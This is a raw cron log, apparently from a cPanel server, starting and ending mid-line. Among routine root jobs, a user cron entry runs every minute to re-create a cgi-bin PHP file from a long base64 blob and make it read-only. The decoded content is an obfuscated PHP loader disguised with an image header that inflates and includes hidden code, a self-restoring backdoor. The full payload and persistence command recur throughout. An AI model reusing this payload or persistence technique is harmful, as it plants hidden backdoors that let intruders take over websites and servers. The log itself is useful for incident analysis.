qBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:31:01 server CROND[28523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:32:01 server CROND[28902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:32:01 server CROND[28903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:32:01 server CROND[28904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:33:01 server CROND[29293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:33:01 server CROND[29294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:33:01 server CROND[29292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:34:01 server CROND[29742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:34:01 server CROND[29743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:34:01 server CROND[29744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:35:01 server CROND[30299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:35:01 server CROND[30301]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:35:01 server CROND[30303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:35:01 server CROND[30311]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 08:35:01 server CROND[30319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:35:01 server CROND[30320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:35:01 server CROND[30316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:35:01 server CROND[30322]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 08:35:01 server CROND[30321]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:36:01 server CROND[31156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:36:01 server CROND[31157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:36:01 server CROND[31158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:37:01 server CROND[31533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:37:01 server CROND[31534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:37:01 server CROND[31535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:38:01 server CROND[31919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:38:01 server CROND[31920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:38:01 server CROND[31921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:39:01 server CROND[32311]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 08:39:01 server CROND[32313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:39:01 server CROND[32315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:39:01 server CROND[32314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:40:01 server CROND[376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:40:01 server CROND[377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:40:01 server CROND[378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:40:01 server CROND[380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:40:01 server CROND[381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:40:01 server CROND[379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:40:01 server CROND[383]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:40:01 server CROND[382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:41:01 server CROND[1378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:41:01 server CROND[1379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:41:01 server CROND[1380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:42:01 server CROND[1825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:42:01 server CROND[1827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:42:01 server CROND[1826]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 08:42:01 server CROND[1828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:43:01 server CROND[2246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:43:01 server CROND[2247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:43:01 server CROND[2248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 